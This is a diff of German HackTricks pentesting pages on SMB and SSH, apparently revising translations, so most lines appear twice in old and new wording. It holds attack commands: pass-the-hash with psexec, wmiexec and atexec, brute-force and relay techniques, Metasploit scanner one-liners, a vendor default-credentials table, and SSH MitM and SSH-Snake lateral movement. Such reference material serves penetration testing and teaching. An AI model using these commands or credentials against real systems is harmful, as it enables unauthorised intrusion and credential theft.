**Mehr Infos** über [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)und [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -390,19 +404,19 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Mit dem **Parameter** `-k` können Sie sich mit **kerberos** anstelle von **NTLM** authentifizieren
Mit dem **Parameter** `-k` kannst du dich gegen **kerberos** statt **NTLM** authentifizieren.
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Führen Sie heimlich eine Kommando-Shell aus, ohne die Festplatte zu berühren oder einen neuen Dienst zu starten, indem Sie DCOM über **port 135.**\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
Führe heimlich eine Kommando-Shell aus, ohne die Festplatte zu berühren oder einen neuen Service zu starten, indem du DCOM über **Port 135.**\
In **kali** befindet es sich in /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Mit dem **Parameter**`-k` kann man sich mit **kerberos** statt **NTLM** authentifizieren.
Mit dem **Parameter** `-k` kannst du dich gegen **kerberos** statt **NTLM** authentifizieren.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -411,8 +425,8 @@ Mit dem **Parameter**`-k` kann man sich mit **kerberos** statt **NTLM** authenti
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Führe Befehle über den Task Scheduler aus (mithilfe von _\pipe\atsvc_ über SMB).\
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
Befehle über den Task Scheduler ausführen (mithilfe von _\pipe\atsvc_ über SMB).\
Unter **kali** befindet es sich in /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -421,29 +435,29 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd Angriffsfläche und SMB2/SMB3-Protokoll-Fuzzing (syzkaller)
### ksmbd Angriffsfläche und SMB2/SMB3 protocol fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce Benutzeranmeldeinformationen**
## **Bruteforce Benutzer credentials**
**Dies wird nicht empfohlen — Sie könnten ein Konto sperren, wenn Sie die maximal erlaubten Versuche überschreiten**
**Dies wird nicht empfohlen — ein Konto könnte gesperrt werden, wenn die maximal erlaubten Versuche überschritten werden.**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
Dieser Angriff verwendet das Responder toolkit, um **capture SMB authentication sessions** in einem internen Netzwerk durchzuführen und diese an eine **target machine** zu **relay**. Wenn die Authentifizierungs**session** erfolgreich ist, bringt sie dich automatisch in eine **system shell**.\
[**Mehr Informationen zu diesem Angriff hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Dieser Angriff verwendet das Responder toolkit, um **capture SMB authentication sessions** in einem internen Netzwerk abzufangen und **relays** sie an eine **target machine**. Wenn die Authentifizierung **session is successful**, wird automatisch eine **system** **shell** geöffnet.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich am Host zu authentifizieren, wenn eine Seite versucht, Inhalte via SMB zu laden, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, Inhalte über SMB zu laden, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
Dies geschieht mit den Funktionen:
Dies geschieht bei den folgenden Funktionen:
- URLDownloadToFile
- URLDownloadToCache
@ -452,19 +466,19 @@ Dies geschieht mit den Funktionen:
Die von einigen Browsern und Tools (wie Skype) verwendet werden.
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap mit MitMf
### SMBTrap using MitMf
![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
Ähnlich wie SMB Trapping kann das Platzieren bösartiger Dateien auf einem target system (z. B. via SMB) einen SMB authentication attempt hervorrufen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB relay attack](#smb-relay-attack) verwendet werden.
Ähnlich wie beim SMB Trapping kann das Ablegen bösartiger Dateien auf einem Zielsystem (z. B. über SMB) eine SMB-Authentifizierungsanfrage auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann anschließend offline geknackt oder in einem [SMB relay attack](#smb-relay-attack) verwendet werden.
[Siehe: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
## HackTricks Automatische Befehle
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
@ -497,8 +511,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Referenzen
- [NetExec (CME) wiki Kerberos Verwendung](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) Client-Einrichtung und Fehlerbehebung](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Grundlegende Informationen
**SSH (Secure Shell oder Secure Socket Shell)** ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist entscheidend für die Wahrung der Vertraulichkeit und Integrität von Daten beim Zugriff auf entfernte Systeme.
**SSH (Secure Shell or Secure Socket Shell)** ist ein Netzwerkprotokoll, das eine sichere Verbindung zu einem Computer über ein unsicheres Netzwerk ermöglicht. Es ist entscheidend, um die Vertraulichkeit und Integrität von Daten beim Zugriff auf Remote-Systeme sicherzustellen.
**Standardport:** 22
```
@ -12,43 +12,43 @@
```
**SSH-Server:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, in BSD, Linux-Distributionen und Windows seit Windows 10 enthalten
- [openSSH](http://www.openssh.org) OpenBSD SSH, ausgeliefert in BSD-, Linux-Distributionen und Windows seit Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH-Implementierung für Umgebungen mit geringem Speicher- und Prozessorressourcen, in OpenWrt enthalten
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH-Implementierung für Windows; der Client wird häufig verwendet, der Einsatz des Servers ist seltener
- [CopSSH](https://www.itefix.net/copssh) Implementierung von OpenSSH für Windows
**SSH-Bibliotheken (Server-seitige Implementierung):**
**SSH-Bibliotheken (serverseitig implementiert):**
- [libssh](https://www.libssh.org) plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh) implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist
- [libssh](https://www.libssh.org) Multiplattform-C-Bibliothek, die das SSHv2-Protokoll implementiert, mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh); sie wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) SSHv2-Serverbibliothek in ANSI C geschrieben und für Embedded-, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD Java-Bibliothek basiert auf Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2-Protokollbibliothek
- [paramiko](https://github.com/paramiko/paramiko) Python-Bibliothek für das SSHv2-Protokoll
## Aufzählung
## Enumeration
### Banner-Grabbing
### Banner Grabbing
```bash
nc -vn <IP> 22
```
### Automatisierter ssh-audit
### Automatisiertes ssh-audit
ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -Clients.
ssh-audit ist ein Tool zur Konfigurationsprüfung von SSH-Servern und -Clients.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) ist ein aktualisierter Fork von [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Funktionen:**
- Unterstützung für die Protokolle SSH1 und SSH2;
- Analyse der SSH-Client-Konfiguration;
- Banner abrufen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
- Schlüsselwechsel-, Host-Schlüssel-, Verschlüsselungs- und Nachrichten-Authentifizierungscode-Algorithmen sammeln;
- Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
- Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
- Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
- Analyse der SSH-Versionenkompatibilität basierend auf Algorithmusinformationen;
- Historische Informationen von OpenSSH, Dropbear SSH und libssh;
- Läuft auf Linux und Windows;
- Keine Abhängigkeiten
- Unterstützung für SSH1- und SSH2-Protokollserver;
- SSH-Client-Konfiguration analysieren;
- Banner auslesen, Gerät oder Software und Betriebssystem erkennen, Kompression erkennen;
- sammelt Key-Exchange-, Host-Key-, Verschlüsselungs- und Message Authentication Code-Algorithmen;
- gibt Informationen zu Algorithmen aus (seit wann verfügbar, entfernt/deaktiviert, unsicher/schwach/veraltet, usw.);
- gibt Empfehlungen zu Algorithmen aus (hinzufügen oder entfernen basierend auf erkannter Softwareversion);
- gibt Sicherheitsinformationen aus (relevante Probleme, zugewiesene CVE-Liste, usw);
- analysiert SSH-Versionskompatibilität basierend auf Algorithmusinformationen;
- historische Informationen zu OpenSSH, Dropbear SSH und libssh;
- läuft unter Linux und Windows;
- keine Abhängigkeiten
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -69,7 +69,7 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Siehe es in Aktion (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Öffentlicher SSH-Schlüssel des Servers
```bash
@ -77,9 +77,9 @@ ssh-keyscan -t rsa <IP> -p <PORT>
```
### Schwache Verschlüsselungsalgorithmen
Dies wird standardmäßig von **nmap** entdeckt. Aber Sie können auch **sslcan** oder **sslyze** verwenden.
Dies wird standardmäßig von **nmap** erkannt. Sie können aber auch **sslcan** oder **sslyze** verwenden.
### Nmap-Skripte
### Nmap scripts
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -91,116 +91,135 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Brute-Force-Benutzernamen, Passwörtern und privaten Schlüsseln
## Brute force usernames, passwords and private keys
### Benutzernamen-Enumeration
### Username Enumeration
In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:
In einigen OpenSSH-Versionen kannst du einen timing attack durchführen, um users zu enumerate. Mit einem metasploit module lässt sich das ausnutzen:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute Force](../generic-hacking/brute-force.md#ssh)
### [Brute force](../generic-hacking/brute-force.md#ssh)
Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) und [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) und unten.
Einige gängige ssh credentials [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) und [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) und unten.
### Private Key Brute Force
Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
Wenn du einige ssh private keys kennst, die verwendet werden könnten... dann versuchen wir es. Du kannst das nmap-Skript verwenden:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Oder das MSF-Hilfsmodul:
Oder das MSF auxiliary module:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Oder benutze `ssh-keybrute.py` (native python3, leichtgewichtig und hat Legacy-Algorithmen aktiviert): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Bekannte schlechte Schlüssel finden Sie hier:
#### Known badkeys can be found here:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Schwache SSH-Schlüssel / Vorhersehbarer PRNG in Debian
#### Schwache SSH-Keys / Debian vorhersehbarer PRNG
Einige Systeme haben bekannte Mängel im Zufallsseed, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der bruteforced werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen mit schwachem PRNG generiert wurden, sind hier verfügbar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Einige Systeme haben bekannte Schwachstellen im Random-Seed, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem drastisch reduzierten Schlüsselraum führen, der per Brute-Force angegriffen werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen betroffen vom schwachen PRNG erzeugt wurden, sind hier verfügbar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.
Du solltest hier suchen, um gültige Schlüssel für die Zielmaschine zu finden.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\
Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
Wenn der Ziel-SSH-Server GSSAPI unterstützt (z. B. Windows OpenSSH auf einem Domain-Controller), kannst du dich mit deinem Kerberos TGT statt mit einem Passwort authentifizieren.
## Standardanmeldeinformationen
Ablauf auf einem Linux-Angreifer-Host:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
| **Anbieter** | **Benutzernamen** | **Passwörter** |
| ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Hinweise:
- Wenn Sie sich mit dem falschen Namen verbinden (z. B. kurzer Hostname, Alias oder falsche Reihenfolge in `/etc/hosts`), kann es zu: "Server not found in Kerberos database" kommen, weil der SPN nicht übereinstimmt.
- `crackmapexec ssh --kerberos` kann außerdem Ihr ccache für Kerberos-Auth verwenden.
## Standard-Zugangsdaten
| **Vendor** | **Benutzernamen** | **Passwörter** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzernamen und Passwort mit dem SSH-Server verbinden möchte, könnten Sie versuchen, **einen MitM-Angriff durchzuführen, um diese Anmeldeinformationen zu stehlen:**
Wenn Sie sich im lokalen Netzwerk befinden und das Opfer sich mit Benutzername und Passwort mit dem SSH-Server verbinden wird, können Sie versuchen, einen MitM-Angriff durchzuführen, um diese Zugangsdaten zu stehlen:
**Angriffsweg:**
**Angriffspfad:**
- **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** den Verbindungsversuch zum SSH-Server.
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt.
- **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert der Server des Angreifers die Anmeldeinformationen des Benutzers**, **leitet die Befehle** an den echten SSH-Server weiter, **führt sie aus** und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint.
- **Traffic Redirection:** Der Angreifer **lenkt** den Traffic des Opfers auf seine Maschine um und **fängt** damit effektiv den Verbindungsversuch zum SSH-Server ab.
- **Interception and Logging:** Die Maschine des Angreifers fungiert als **Proxy** und **zeichnet** die Login-Daten des Benutzers auf, indem sie sich als legitimer SSH-Server ausgibt.
- **Command Execution and Relay:** Schließlich **protokolliert** der Server des Angreifers die Zugangsdaten des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie dort aus und **sendet die Ergebnisse zurück** an den Benutzer, sodass der Vorgang nahtlos und legitim erscheint.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben ist.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben wurde.
Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden.
Um das eigentliche MitM durchzuführen, können Sie Techniken wie ARP spoofing, DNS spoofin oder andere in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschriebenen Methoden verwenden.
## SSH-Snake
Wenn Sie ein Netzwerk mithilfe entdeckter SSH-Privatschlüssel auf Systemen durchqueren möchten, indem Sie jeden Privatschlüssel auf jedem System für neue Hosts verwenden, dann ist [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) genau das, was Sie brauchen.
Wenn Sie ein Netzwerk mit entdeckten SSH-Private-Keys auf Systemen durchqueren möchten und dabei jeden privaten Schlüssel auf jedem System für neue Hosts verwenden wollen, dann ist [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) das Richtige für Sie.
SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:
1. Finden Sie auf dem aktuellen System alle SSH-Privatschlüssel,
2. Finden Sie auf dem aktuellen System alle Hosts oder Ziele (user@host), die die Privatschlüssel akzeptieren könnten,
3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.
1. Auf dem aktuellen System alle SSH private keys finden,
2. Auf dem aktuellen System alle Hosts oder Ziele (user@host) finden, bei denen die privaten Schlüssel akzeptiert werden könnten,
3. Versuchen, sich mit allen entdeckten privaten Schlüsseln bei allen Zielen per SSH anzumelden,
4. Wenn eine Verbindung zu einem Ziel erfolgreich ist, wiederholt es die Schritte #1 - #4 auf dem verbundenen System.
Es ist vollständig selbstreplicierend und selbstverbreitend und vollständig dateilos.
Es ist vollständig selbstreplizierend und selbstverbreitend — und komplett fileless.
## Konfigurationsfehler
## Fehlkonfigurationen
### Root-Login
Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen, was ein erhebliches Sicherheitsrisiko darstellt. **Das Deaktivieren des Root-Logins** ist ein kritischer Schritt zur Sicherung des Servers. Unbefugter Zugriff mit administrativen Rechten und Brute-Force-Angriffe können durch diese Änderung gemildert werden.
Es ist üblich, dass SSH-Server standardmäßig Root-Logins erlauben, was ein erhebliches Sicherheitsrisiko darstellt. Das **Deaktivieren des Root-Logins** ist ein wichtiger Schritt zur Sicherung des Servers. Unbefugter Zugriff mit administrativen Rechten und Brute-Force-Angriffe lassen sich durch diese Änderung mindern.
**So deaktivieren Sie den Root-Login in OpenSSH:**
Um Root-Login in OpenSSH zu deaktivieren:
1. **Bearbeiten Sie die SSH-Konfigurationsdatei** mit: `sudoedit /etc/ssh/sshd_config`
1. **Editieren Sie die SSH-Konfigurationsdatei** mit: `sudoedit /etc/ssh/sshd_config`
2. **Ändern Sie die Einstellung** von `#PermitRootLogin yes` zu **`PermitRootLogin no`**.
3. **Laden Sie die Konfiguration neu** mit: `sudo systemctl daemon-reload`
3. **Reloaden Sie die Konfiguration** mit: `sudo systemctl daemon-reload`
4. **Starten Sie den SSH-Server neu**, um die Änderungen anzuwenden: `sudo systemctl restart sshd`
### SFTP-Brute-Force
### SFTP Brute Force
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### SFTP-Befehlsausführung
### SFTP command execution
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
Bei SFTP-Setups tritt häufig eine Fehlkonfiguration auf, bei der Administratoren möchten, dass Benutzer Dateien austauschen können, ohne Shell-Zugriff zu erlauben. Trotz der Vergabe nicht-interaktiver Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Beschränkungen umgehen**, indem sie direkt nach dem Login die Ausführung eines Befehls (z. B. `/bin/bash`) anfordern, bevor ihre nicht-interaktive Shell greift. Das erlaubt unautorisierte Befehlsausführung und untergräbt die vorgesehenen Sicherheitsmaßnahmen.
[Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/):
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -223,7 +242,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
Hier ist ein Beispiel für eine sichere SFTP-Konfiguration (`/etc/ssh/sshd_config` openSSH) für den Benutzer `noraj`:
Hier ein Beispiel für eine sichere SFTP-Konfiguration (`/etc/ssh/sshd_config` openSSH) für den Benutzer `noraj`:
```
Match User noraj
ChrootDirectory %h
@ -233,42 +252,40 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Diese Konfiguration erlaubt nur SFTP: Shell-Zugriff wird deaktiviert, indem der Startbefehl erzwungen und der TTY-Zugriff deaktiviert wird, aber auch alle Arten von Portweiterleitungen oder Tunneling werden deaktiviert.
Diese Konfiguration erlaubt nur SFTP: Sie deaktiviert shell access, indem der start command erzwungen und TTY access deaktiviert wird, und schränkt außerdem jegliches port forwarding oder tunneling ein.
### SFTP Tunneling
